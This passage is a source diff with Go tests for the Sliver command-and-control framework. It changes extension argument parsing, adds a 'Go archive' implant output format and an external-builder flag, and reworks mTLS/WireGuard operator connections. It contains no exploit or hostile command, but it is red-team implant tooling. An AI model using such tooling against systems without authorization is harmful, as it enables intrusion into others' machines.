the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"reflect"
"testing"
)
// TestSplitExtensionArgs covers the argument-passthrough regression from #2309:
// the extension's own named flags must reach the BOF parser intact regardless of
// the cobra "--" separator, while Sliver-owned flags are still honoured.
func TestSplitExtensionArgs(t *testing.T) {
cases := []struct {
name string
in []string
save bool
timeout int64
help bool
extArgs []string
}{
{
name: "named extension flags without -- separator (#2309 regression)",
in: []string{"--type", "6", "--fqdn", "child.htb.local"},
timeout: defaultTimeout,
extArgs: []string{"--type", "6", "--fqdn", "child.htb.local"},
},
{
name: "named extension flags with -- separator (existing workaround)",
in: []string{"--", "--type", "6", "--fqdn", "child.htb.local"},
timeout: defaultTimeout,
extArgs: []string{"--type", "6", "--fqdn", "child.htb.local"},
},
{
name: "sliver-owned flags precede extension arguments",
in: []string{"--timeout", "30", "--save", "--type", "6"},
save: true,
timeout: 30,
extArgs: []string{"--type", "6"},
},
{
name: "quoted value containing spaces stays a single argument",
in: []string{"--name", "hello world", "--type", "6"},
timeout: defaultTimeout,
extArgs: []string{"--name", "hello world", "--type", "6"},
},
{
name: "positional extension arguments are preserved",
in: []string{"foo", "bar", "baz"},
timeout: defaultTimeout,
extArgs: []string{"foo", "bar", "baz"},
},
{
name: "single-dash and double-dash forms are preserved",
in: []string{"-type", "6", "--fqdn", "child.htb.local"},
timeout: defaultTimeout,
extArgs: []string{"-type", "6", "--fqdn", "child.htb.local"},
},
{
name: "equals form for timeout",
in: []string{"--timeout=120", "--type", "6"},
timeout: 120,
extArgs: []string{"--type", "6"},
},
{
name: "short -s save flag",
in: []string{"-s", "--type", "6"},
save: true,
timeout: defaultTimeout,
extArgs: []string{"--type", "6"},
},
{
name: "help flag is detected",
in: []string{"--help"},
help: true,
timeout: defaultTimeout,
extArgs: []string{},
},
{
name: "empty input",
in: nil,
timeout: defaultTimeout,
extArgs: []string{},
},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
save, timeout, help, extArgs := splitExtensionArgs(tc.in)
if save != tc.save {
t.Errorf("save: got %v, want %v", save, tc.save)
}
if timeout != tc.timeout {
t.Errorf("timeout: got %d, want %d", timeout, tc.timeout)
}
if help != tc.help {
t.Errorf("help: got %v, want %v", help, tc.help)
}
if !reflect.DeepEqual(extArgs, tc.extArgs) {
t.Errorf("extArgs: got %#v, want %#v", extArgs, tc.extArgs)
}
})
}
}
// TestParseBoolValue checks the --flag=value helper used for --save=value.
func TestParseBoolValue(t *testing.T) {
cases := []struct {
in string
want bool
}{
{"", true},
{"true", true},
{"TRUE", true},
{"1", true},
{"t", true},
{"false", false},
{"0", false},
{"no", false}, // unsupported spellings keep the default
}
for _, tc := range cases {
got := parseBoolValue(tc.in, true)
// "no" is not a pflag spelling, so it falls through to the default (true).
want := tc.want
if tc.in == "no" {
want = true
}
if got != want {
t.Errorf("parseBoolValue(%q): got %v, want %v", tc.in, got, want)
}
}
}
+18 -3
View File
@@ -370,8 +370,12 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
Run: func(cmd *cobra.Command, args []string) {
runExtensionCmd(cmd, con, args)
},
GroupID: consts.ExtensionHelpGroup,
Annotations: makeCommandPlatformFilters(extCmd),
GroupID: consts.ExtensionHelpGroup,
// DisableFlagParsing keeps the extension's own flags (which are unknown to
// pflag) from being silently stripped together with their values. We split
// Sliver-owned flags out of the raw slice ourselves in runExtensionCmd (#2309).
DisableFlagParsing: true,
Annotations: makeCommandPlatformFilters(extCmd),
}
// Flags
@@ -379,7 +383,6 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
f.BoolP("save", "s", false, "Save output to disk")
f.Int64P("timeout", "t", defaultTimeout, "command timeout in seconds")
extensionCmd.Flags().AddFlagSet(f)
extensionCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
// Completions
comps := carapace.Gen(extensionCmd)
@@ -529,6 +532,18 @@ func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con
}
func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
// The command runs with DisableFlagParsing, so args is the raw, unstripped
// slice. Separate Sliver-owned flags from the extension's own arguments and
// re-publish them on the flag set (so Request()'s --timeout still works),
// then feed only the extension arguments to the BOF/DLL parsers (#2309).
save, timeout, helpRequested, extArgs := splitExtensionArgs(args)
if helpRequested {
_ = cmd.Help()
return
}
applyOwnedFlags(cmd, save, timeout)
args = extArgs
var (
err error
extensionArgs []byte
+2 -2
View File
@@ -159,7 +159,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("save", "s", "", "directory/file to the binary to")
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.StringP("name", "n", "", "Implant name")
f.BoolP("external-builder", "E", false, "use an external builder")
})
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
@@ -367,7 +367,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
bindSpoofMetadataFlag(f)
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'archive' (for Go c-archives), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
// Shellcode generation options:
// - Windows: Donut
+24
View File
@@ -24,6 +24,30 @@ func TestGenerateSaveFlagCompletionRegistered(t *testing.T) {
assertFlagHasDefaultFileCompletion(t, beaconCmd, "save")
}
func TestProfilesGenerateExternalBuilderFlagRegistered(t *testing.T) {
cmds := Commands(&console.SliverClient{})
profilesCmd := commandByUse(cmds, consts.ProfilesStr)
if profilesCmd == nil {
t.Fatalf("missing %q command", consts.ProfilesStr)
}
profilesGenerateCmd := commandByUse(profilesCmd.Commands(), consts.GenerateStr)
if profilesGenerateCmd == nil {
t.Fatalf("missing %q subcommand under %q", consts.GenerateStr, consts.ProfilesStr)
}
flag := profilesGenerateCmd.Flags().Lookup("external-builder")
if flag == nil {
t.Fatalf("%q missing %q flag", profilesGenerateCmd.Use, "external-builder")
}
if flag.Shorthand != "E" {
t.Fatalf("%q %q flag shorthand mismatch: got=%q want=%q", profilesGenerateCmd.Use, "external-builder", flag.Shorthand, "E")
}
if flag.DefValue != "false" {
t.Fatalf("%q %q flag default mismatch: got=%q want=%q", profilesGenerateCmd.Use, "external-builder", flag.DefValue, "false")
}
}
func assertFlagHasDefaultFileCompletion(t *testing.T, cmd *cobra.Command, flag string) {
t.Helper()
+5
View File
@@ -254,6 +254,8 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
return "Service"
case clientpb.OutputFormat_SHARED_LIB:
return "Shared Library"
case clientpb.OutputFormat_GO_ARCHIVE:
return "Go Archive"
case clientpb.OutputFormat_SHELLCODE:
return "Shellcode"
default:
@@ -389,6 +391,9 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
configFormat = clientpb.OutputFormat_SHARED_LIB
isSharedLib = true
runAtLoad, _ = cmd.Flags().GetBool("run-at-load")
case "archive":
configFormat = clientpb.OutputFormat_GO_ARCHIVE
isSharedLib = true
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
+1 -1
View File
@@ -197,7 +197,7 @@ func OSCompleter(con *console.SliverClient) carapace.Action {
func FormatCompleter() carapace.Action {
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
return carapace.ActionValues([]string{
"exe", "shared", "service", "shellcode",
"exe", "shared", "archive", "service", "shellcode",
}...).Tag("implant format")
})
}
@@ -0,0 +1,13 @@
package generate
import (
"testing"
"github.com/bishopfox/sliver/protobuf/clientpb"
)
func TestNameOfOutputFormatGoArchive(t *testing.T) {
if got := nameOfOutputFormat(clientpb.OutputFormat_GO_ARCHIVE); got != "Go Archive" {
t.Fatalf("nameOfOutputFormat(GO_ARCHIVE) = %q, want %q", got, "Go Archive")
}
}
+22 -3
View File
@@ -19,6 +19,7 @@ package generate
*/
import (
"fmt"
"os"
"strings"
@@ -81,9 +82,27 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
}
}
_, err := compile(implantName, profile.Config, nil, save, con)
if err != nil {
return
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
_, err := compile(implantName, profile.Config, nil, save, con)
if err != nil {
return
}
} else {
_, err := externalBuild(implantName, profile.Config, nil, save, con)
if err != nil {
switch err {
case ErrNoExternalBuilder:
con.PrintErrorf("There are no external builders currently connected to the server\n")
con.PrintErrorf("See 'builders' command for more information\n")
case ErrNoValidBuilders:
con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", profile.Config.Format, profile.Config.GOOS, profile.Config.GOARCH))
con.PrintErrorf("See 'builders' command for more information\n")
default:
con.PrintErrorf("%s\n", err)
}
return
}
}
} else {
con.PrintErrorf("No profile with name '%s'", name)
+2
View File
@@ -263,6 +263,8 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
properties["format"] = "Executable"
case clientpb.OutputFormat_SHARED_LIB:
properties["format"] = "Shared Library"
case clientpb.OutputFormat_GO_ARCHIVE:
properties["format"] = "Go Archive"
case clientpb.OutputFormat_SERVICE:
properties["format"] = "Service"
case clientpb.OutputFormat_SHELLCODE:
+84 -17
View File
@@ -46,6 +46,9 @@ func (con *SliverClient) SetConnection(rpc rpcpb.SliverRPCClient, grpcConn *grpc
con.Rpc = rpc
con.grpcConn = grpcConn
con.connDetails = details
con.backgroundRPC = nil
con.backgroundConn = nil
con.backgroundDedicated = false
if con.Rpc == nil || con.grpcConn == nil {
return nil
@@ -58,31 +61,49 @@ func (con *SliverClient) SetConnection(rpc rpcpb.SliverRPCClient, grpcConn *grpc
con.BeaconTaskCallbacksMutex.Unlock()
con.ActiveTarget.Set(nil, nil)
if details != nil && details.Config != nil && details.Config.WG != nil {
con.backgroundDedicated = true
commandRPC, commandConn, err := transport.MTLSConnect(details.Config)
if err != nil {
log.Printf("Dedicated command WireGuard connection unavailable, async console streams disabled to preserve command reliability: %v", err)
} else {
con.backgroundRPC = con.Rpc
con.backgroundConn = con.grpcConn
con.Rpc = commandRPC
con.grpcConn = commandConn
}
}
ctx, cancel := context.WithCancel(context.Background())
con.connCancel = cancel
wg := &sync.WaitGroup{}
con.connWg = wg
wg.Add(1)
go func(wg *sync.WaitGroup) {
defer wg.Done()
con.startEventLoop(ctx)
}(wg)
backgroundRPC := con.backgroundRPCClientLocked()
if backgroundRPC != nil {
wg.Add(1)
go func(wg *sync.WaitGroup, rpc rpcpb.SliverRPCClient) {
defer wg.Done()
con.startEventLoop(ctx, rpc)
}(wg, backgroundRPC)
wg.Add(1)
go func(wg *sync.WaitGroup) {
defer wg.Done()
if err := core.TunnelLoop(ctx, con.Rpc); err != nil && !errors.Is(err, context.Canceled) {
log.Printf("TunnelLoop error: %v", err)
}
}(wg)
wg.Add(1)
go func(wg *sync.WaitGroup, rpc rpcpb.SliverRPCClient) {
defer wg.Done()
if err := core.TunnelLoop(ctx, rpc); err != nil && !errors.Is(err, context.Canceled) {
log.Printf("TunnelLoop error: %v", err)
}
}(wg, backgroundRPC)
}
wg.Add(1)
go func(wg *sync.WaitGroup, conn *grpc.ClientConn) {
defer wg.Done()
con.monitorConnectionLost(ctx, conn)
}(wg, con.grpcConn)
if !con.backgroundDedicated || con.backgroundConn == nil {
wg.Add(1)
go func(wg *sync.WaitGroup, conn *grpc.ClientConn) {
defer wg.Done()
con.monitorConnectionLost(ctx, conn)
}(wg, con.grpcConn)
}
con.refreshRemoteLogStreamsLocked()
@@ -127,13 +148,59 @@ func (con *SliverClient) detachConnectionLocked() {
_ = transport.CloseGRPCConnection(con.grpcConn)
con.grpcConn = nil
}
if con.backgroundConn != nil {
_ = transport.CloseGRPCConnection(con.backgroundConn)
con.backgroundConn = nil
}
con.Rpc = nil
con.backgroundRPC = nil
con.backgroundDedicated = false
con.connDetails = nil
// Tear down any singleton network tooling that was tied to the previous server.
core.ResetClientState()
}
func (con *SliverClient) backgroundRPCClientLocked() rpcpb.SliverRPCClient {
if con.backgroundRPC != nil {
return con.backgroundRPC
}
if con.backgroundDedicated {
return nil
}
return con.Rpc
}
func (con *SliverClient) refreshDedicatedCommandConnectionHook(args []string) ([]string, error) {
if err := con.refreshDedicatedCommandConnection(); err != nil {
return args, err
}
return args, nil
}
func (con *SliverClient) refreshDedicatedCommandConnection() error {
con.connMu.Lock()
defer con.connMu.Unlock()
if !con.backgroundDedicated || con.backgroundConn == nil || con.connDetails == nil || con.connDetails.Config == nil {
return nil
}
rpc, conn, err := transport.MTLSConnect(con.connDetails.Config)
if err != nil {
return fmt.Errorf("refresh command connection: %w", err)
}
oldConn := con.grpcConn
con.Rpc = rpc
con.grpcConn = conn
if oldConn != nil {
_ = transport.CloseGRPCConnection(oldConn)
}
return nil
}
func (con *SliverClient) monitorConnectionLost(ctx context.Context, conn *grpc.ClientConn) {
if conn == nil {
return
+10 -2
View File
@@ -95,6 +95,9 @@ type SliverClient struct {
connMu sync.Mutex
grpcConn *grpc.ClientConn
backgroundRPC rpcpb.SliverRPCClient
backgroundConn *grpc.ClientConn
backgroundDedicated bool
connDetails *ConnectionDetails
connCancel context.CancelFunc
connWg *sync.WaitGroup
@@ -326,6 +329,7 @@ func (con *SliverClient) applyConnectionHooksOnce() {
con.App.PreReadlineHooks = append(con.App.PreReadlineHooks, con.syncOutputHook)
con.App.PostCmdRunHooks = append(con.App.PostCmdRunHooks, con.syncOutputHook)
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, con.refreshDedicatedCommandConnectionHook)
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, con.allowServerRootCommands)
if shell := con.App.Shell(); shell != nil && shell.Completer != nil {
baseCompleter := shell.Completer
@@ -336,8 +340,12 @@ func (con *SliverClient) applyConnectionHooksOnce() {
}
}
func (con *SliverClient) startEventLoop(ctx context.Context) {
eventStream, err := con.Rpc.Events(ctx, &commonpb.Empty{})
func (con *SliverClient) startEventLoop(ctx context.Context, rpc rpcpb.SliverRPCClient) {
if rpc == nil {
return
}
eventStream, err := rpc.Events(ctx, &commonpb.Empty{})
if err != nil {
fmt.Printf("%s%s\n", Warn, err)
return
+15 -4
View File
@@ -107,7 +107,8 @@ func (con *SliverClient) refreshRemoteLogStreamsLocked() {
if con.jsonRemoteWriter == nil && con.asciicastRemoteWriter == nil {
return
}
if con.Rpc == nil {
rpc := con.backgroundRPCClientLocked()
if rpc == nil {
con.setRemoteLogStreamsLocked(nil, nil)
return
}
@@ -116,7 +117,7 @@ func (con *SliverClient) refreshRemoteLogStreamsLocked() {
var asciicastStream *ConsoleClientLogger
if con.jsonRemoteWriter != nil {
s, err := con.ClientLogStream("json")
s, err := con.clientLogStream(rpc, "json")
if err != nil {
log.Printf("Could not get client json log stream: %s", err)
} else {
@@ -124,7 +125,7 @@ func (con *SliverClient) refreshRemoteLogStreamsLocked() {
}
}
if con.asciicastRemoteWriter != nil {
s, err := con.ClientLogStream("asciicast")
s, err := con.clientLogStream(rpc, "asciicast")
if err != nil {
log.Printf("Could not get client asciicast log stream: %s", err)
} else {
@@ -166,7 +167,17 @@ func (con *SliverClient) setRemoteLogStreamsLocked(jsonStream, asciicastStream *
// ClientLogStream requires a log stream name, used to save the logs
// going through this stream in a specific log subdirectory/file.
func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, error) {
stream, err := con.Rpc.ClientLog(context.Background())
con.connMu.Lock()
rpc := con.backgroundRPCClientLocked()
con.connMu.Unlock()
if rpc == nil {
return nil, fmt.Errorf("no RPC connection available for client log stream %q", name)
}
return con.clientLogStream(rpc, name)
}
func (con *SliverClient) clientLogStream(rpc rpcpb.SliverRPCClient, name string) (*ConsoleClientLogger, error) {
stream, err := rpc.ClientLog(context.Background())
if err != nil {
return nil, err
}
+1
View File
@@ -79,6 +79,7 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
options := []huh.Option[string]{
huh.NewOption("Executable", "exe"),
huh.NewOption("Shared library", "shared"),
huh.NewOption("Go archive", "archive"),
}
if result.OS == "windows" {
options = append(options,
@@ -84,6 +84,7 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
options := []huh.Option[string]{
huh.NewOption("Executable", "exe"),
huh.NewOption("Shared library", "shared"),
huh.NewOption("Go archive", "archive"),
}
if result.OS == "windows" {
options = append(options,
+2
View File
@@ -22,6 +22,7 @@ type targetOptionBindings struct {
var formatOptionOrder = []formatOption{
{format: clientpb.OutputFormat_EXECUTABLE, label: "Executable", value: "exe"},
{format: clientpb.OutputFormat_SHARED_LIB, label: "Shared library", value: "shared"},
{format: clientpb.OutputFormat_GO_ARCHIVE, label: "Go archive", value: "archive"},
{format: clientpb.OutputFormat_SERVICE, label: "Service", value: "service"},
{format: clientpb.OutputFormat_SHELLCODE, label: "Shellcode", value: "shellcode"},
}
@@ -59,6 +60,7 @@ func commonFormatOptions(goos string) []huh.Option[string] {
options := []huh.Option[string]{
huh.NewOption("Executable", "exe"),
huh.NewOption("Shared library", "shared"),
huh.NewOption("Go archive", "archive"),
}
if goos == "windows" {
options = append(options,
+4 -5
View File
@@ -11,9 +11,8 @@ import (
type MultiplayerConnectMode int
const (
MultiplayerConnectAuto MultiplayerConnectMode = iota
MultiplayerConnectDisableWG
MultiplayerConnectRequireWG
MultiplayerConnectDirect MultiplayerConnectMode = iota
MultiplayerConnectEnableWG
)
type connectionCloser interface {
@@ -22,7 +21,7 @@ type connectionCloser interface {
var (
multiplayerConnectModeMu sync.RWMutex
multiplayerConnectMode = MultiplayerConnectAuto
multiplayerConnectMode = MultiplayerConnectDirect
connClosers sync.Map // *grpc.ClientConn -> connectionCloser
)
@@ -65,9 +64,9 @@ func CloseGRPCConnection(conn *grpc.ClientConn) error {
}
var errs []error
errs = append(errs, conn.Close())
if closer := unregisterConnCloser(conn); closer != nil {
errs = append(errs, closer.Close())
}
errs = append(errs, conn.Close())
return errors.Join(errs...)
}
+27 -13
View File
@@ -58,6 +58,15 @@ const (
multiplayerDialWireGuard
)
const (
connectStatusGRPCMTLS = "grpc/mtls"
connectStatusWireGuard = "wireguard"
connectStatusGRPCMTLSOverWireGuard = "grpc/mtls over wireguard"
)
// ConnectStatusFn receives human-readable connection phase updates.
type ConnectStatusFn func(string)
// Return value is mapped to request headers.
func (t TokenAuth) GetRequestMetadata(ctx context.Context, in ...string) (map[string]string, error) {
return map[string]string{
@@ -71,6 +80,12 @@ func (TokenAuth) RequireTransportSecurity() bool {
// MTLSConnect - Connect to the sliver server
func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
return MTLSConnectWithStatus(config, nil)
}
// MTLSConnectWithStatus connects to the sliver server and optionally reports
// transport phase updates, such as WireGuard setup and gRPC dialing.
func MTLSConnectWithStatus(config *assets.ClientConfig, statusFn ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
strategy, err := selectMultiplayerDialStrategy(config)
if err != nil {
return nil, nil, err
@@ -78,9 +93,9 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
switch strategy {
case multiplayerDialWireGuard:
return wireGuardMTLSConnect(config)
return wireGuardMTLSConnect(config, statusFn)
default:
return directMTLSConnect(config)
return directMTLSConnect(config, statusFn)
}
}
@@ -90,25 +105,18 @@ func selectMultiplayerDialStrategy(config *assets.ClientConfig) (multiplayerDial
}
switch getMultiplayerConnectMode() {
case MultiplayerConnectDisableWG:
return multiplayerDialDirect, nil
case MultiplayerConnectRequireWG:
case MultiplayerConnectEnableWG:
if err := validateWireGuardConfig(config); err != nil {
return multiplayerDialDirect, err
}
return multiplayerDialWireGuard, nil
default:
if config.WG == nil {
return multiplayerDialDirect, nil
}
if err := validateWireGuardConfig(config); err != nil {
return multiplayerDialDirect, err
}
return multiplayerDialWireGuard, nil
return multiplayerDialDirect, nil
}
}
func directMTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
func directMTLSConnect(config *assets.ClientConfig, statusFn ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
notifyConnectStatus(statusFn, connectStatusGRPCMTLS)
options, err := newMTLSDialOptions(config)
if err != nil {
return nil, nil, err
@@ -116,6 +124,12 @@ func directMTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grp
return dialRPCClient(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options, nil)
}
func notifyConnectStatus(statusFn ConnectStatusFn, status string) {
if statusFn != nil {
statusFn(status)
}
}
func newMTLSDialOptions(config *assets.ClientConfig) ([]grpc.DialOption, error) {
tlsConfig, err := getTLSConfig(config.CACertificate, config.Certificate, config.PrivateKey)
if err != nil {
+56 -10
View File
@@ -5,10 +5,13 @@ import (
"testing"
"github.com/bishopfox/sliver/client/assets"
"google.golang.org/grpc"
"google.golang.org/grpc/connectivity"
"google.golang.org/grpc/credentials/insecure"
)
func TestSelectMultiplayerDialStrategyLegacyConfigUsesDirectMTLS(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectAuto)
setTestMultiplayerConnectMode(t, MultiplayerConnectDirect)
strategy, err := selectMultiplayerDialStrategy(&assets.ClientConfig{})
if err != nil {
@@ -19,8 +22,25 @@ func TestSelectMultiplayerDialStrategyLegacyConfigUsesDirectMTLS(t *testing.T) {
}
}
func TestSelectMultiplayerDialStrategyRequireWGRejectsMissingWGConfig(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectRequireWG)
func TestSelectMultiplayerDialStrategyDefaultIgnoresIncompleteWGConfig(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectDirect)
strategy, err := selectMultiplayerDialStrategy(&assets.ClientConfig{
WG: &assets.ClientWGConfig{
ServerPubKey: "server-pub",
ClientIP: "100.64.0.2",
},
})
if err != nil {
t.Fatalf("select dial strategy: %v", err)
}
if strategy != multiplayerDialDirect {
t.Fatalf("expected direct mTLS strategy, got %v", strategy)
}
}
func TestSelectMultiplayerDialStrategyEnableWGRejectsMissingWGConfig(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectEnableWG)
_, err := selectMultiplayerDialStrategy(&assets.ClientConfig{})
if !errors.Is(err, ErrMissingWireGuardConfig) {
@@ -28,8 +48,8 @@ func TestSelectMultiplayerDialStrategyRequireWGRejectsMissingWGConfig(t *testing
}
}
func TestSelectMultiplayerDialStrategyRejectsIncompleteWGConfig(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectAuto)
func TestSelectMultiplayerDialStrategyEnableWGRejectsIncompleteWGConfig(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectEnableWG)
_, err := selectMultiplayerDialStrategy(&assets.ClientConfig{
WG: &assets.ClientWGConfig{
@@ -42,8 +62,8 @@ func TestSelectMultiplayerDialStrategyRejectsIncompleteWGConfig(t *testing.T) {
}
}
func TestSelectMultiplayerDialStrategyUsesWireGuardWhenConfigComplete(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectAuto)
func TestSelectMultiplayerDialStrategyEnableWGUsesWireGuardWhenConfigComplete(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectEnableWG)
strategy, err := selectMultiplayerDialStrategy(&assets.ClientConfig{
WG: &assets.ClientWGConfig{
@@ -60,8 +80,8 @@ func TestSelectMultiplayerDialStrategyUsesWireGuardWhenConfigComplete(t *testing
}
}
func TestSelectMultiplayerDialStrategyDisableWGOverridesCompleteConfig(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectDisableWG)
func TestSelectMultiplayerDialStrategyDefaultUsesDirectMTLSEvenWhenWGConfigComplete(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectDirect)
strategy, err := selectMultiplayerDialStrategy(&assets.ClientConfig{
WG: &assets.ClientWGConfig{
@@ -74,7 +94,7 @@ func TestSelectMultiplayerDialStrategyDisableWGOverridesCompleteConfig(t *testin
t.Fatalf("select dial strategy: %v", err)
}
if strategy != multiplayerDialDirect {
t.Fatalf("expected direct strategy when WG is disabled, got %v", strategy)
t.Fatalf("expected direct strategy when WG is not explicitly enabled, got %v", strategy)
}
}
@@ -87,3 +107,29 @@ func setTestMultiplayerConnectMode(t *testing.T, mode MultiplayerConnectMode) {
SetMultiplayerConnectMode(previous)
})
}
func TestCloseGRPCConnectionClosesConnBeforeTransportCloser(t *testing.T) {
conn, err := grpc.NewClient("passthrough:///sliver-test", grpc.WithTransportCredentials(insecure.NewCredentials()))
if err != nil {
t.Fatalf("create grpc client: %v", err)
}
var stateSeen connectivity.State
registerConnCloser(conn, testConnectionCloser(func() error {
stateSeen = conn.GetState()
return nil
}))
if err := CloseGRPCConnection(conn); err != nil {
t.Fatalf("close grpc connection: %v", err)
}
if stateSeen != connectivity.Shutdown {
t.Fatalf("expected transport closer to run after grpc shutdown, got state %v", stateSeen)
}
}
type testConnectionCloser func() error
func (fn testConnectionCloser) Close() error {
return fn()
}
+145 -10
View File
@@ -11,6 +11,7 @@ import (
"strconv"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/protobuf/rpcpb"
@@ -23,11 +24,17 @@ const (
multiplayerWireGuardDefaultServerIP = "100.65.0.1"
multiplayerWireGuardMTU = 1420
multiplayerWireGuardKeepalive = 25
multiplayerWireGuardDialTimeout = 30 * time.Second
multiplayerWireGuardRetryDelay = 250 * time.Millisecond
)
var (
ErrMissingWireGuardConfig = errors.New("operator config has no wg block")
ErrIncompleteWireGuardConfig = errors.New("operator config has incomplete wg block")
multiplayerWireGuardIdleTimeout = 5 * time.Second
wireGuardTunnelCacheMu sync.Mutex
wireGuardTunnelCache = map[string]*cachedWireGuardTunnel{}
)
type wireGuardTunnel struct {
@@ -37,6 +44,19 @@ type wireGuardTunnel struct {
closeOnce sync.Once
}
type cachedWireGuardTunnel struct {
tunnel *wireGuardTunnel
target string
timer *time.Timer
}
type idleWireGuardTunnelCloser struct {
key string
tunnel *wireGuardTunnel
target string
}
func (t *wireGuardTunnel) Close() error {
if t == nil {
return nil
@@ -44,6 +64,7 @@ func (t *wireGuardTunnel) Close() error {
t.closeOnce.Do(func() {
if t.dev != nil {
t.dev.Close()
<-t.dev.Wait()
}
})
return nil
@@ -56,22 +77,136 @@ func (t *wireGuardTunnel) DialContext(ctx context.Context, address string) (net.
return t.net.DialContext(ctx, "tcp", address)
}
func wireGuardMTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
func (c *idleWireGuardTunnelCloser) Close() error {
if c == nil || c.key == "" || c.tunnel == nil {
return nil
}
cacheIdleWireGuardTunnel(c.key, c.tunnel, c.target)
return nil
}
func wireGuardMTLSConnect(config *assets.ClientConfig, statusFn ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
deadline := time.Now().Add(multiplayerWireGuardDialTimeout)
var lastErr error
attempts := 0
for {
attempts++
notifyConnectStatus(statusFn, connectStatusWireGuard)
cacheKey, tunnel, target, err := acquireWireGuardTunnel(config)
if err != nil {
return nil, nil, err
}
options, err := newMTLSDialOptions(config)
if err != nil {
_ = tunnel.Close()
return nil, nil, err
}
options = append(options, grpc.WithContextDialer(func(ctx context.Context, addr string) (net.Conn, error) {
return tunnel.DialContext(ctx, addr)
}))
notifyConnectStatus(statusFn, connectStatusGRPCMTLSOverWireGuard)
rpcClient, conn, err := dialRPCClient(target, options, nil)
if err == nil {
registerConnCloser(conn, &idleWireGuardTunnelCloser{
key: cacheKey,
tunnel: tunnel,
target: target,
})
return rpcClient, conn, nil
}
_ = tunnel.Close()
lastErr = err
if !errors.Is(err, context.DeadlineExceeded) || !time.Now().Before(deadline) {
break
}
time.Sleep(multiplayerWireGuardRetryDelay)
}
if attempts > 1 {
return nil, nil, fmt.Errorf("wireguard multiplayer connect failed after %d attempts: %w", attempts, lastErr)
}
return nil, nil, lastErr
}
func acquireWireGuardTunnel(config *assets.ClientConfig) (string, *wireGuardTunnel, string, error) {
key, err := wireGuardTunnelCacheKey(config)
if err != nil {
return "", nil, "", err
}
wireGuardTunnelCacheMu.Lock()
if cached := wireGuardTunnelCache[key]; cached != nil && cached.tunnel != nil {
delete(wireGuardTunnelCache, key)
if cached.timer != nil {
cached.timer.Stop()
cached.timer = nil
}
tunnel := cached.tunnel
target := cached.target
wireGuardTunnelCacheMu.Unlock()
return key, tunnel, target, nil
}
wireGuardTunnelCacheMu.Unlock()
tunnel, target, err := newWireGuardTunnel(config)
if err != nil {
return nil, nil, err
return "", nil, "", err
}
return key, tunnel, target, nil
}
options, err := newMTLSDialOptions(config)
if err != nil {
_ = tunnel.Close()
return nil, nil, err
func cacheIdleWireGuardTunnel(key string, tunnel *wireGuardTunnel, target string) {
if key == "" || tunnel == nil {
return
}
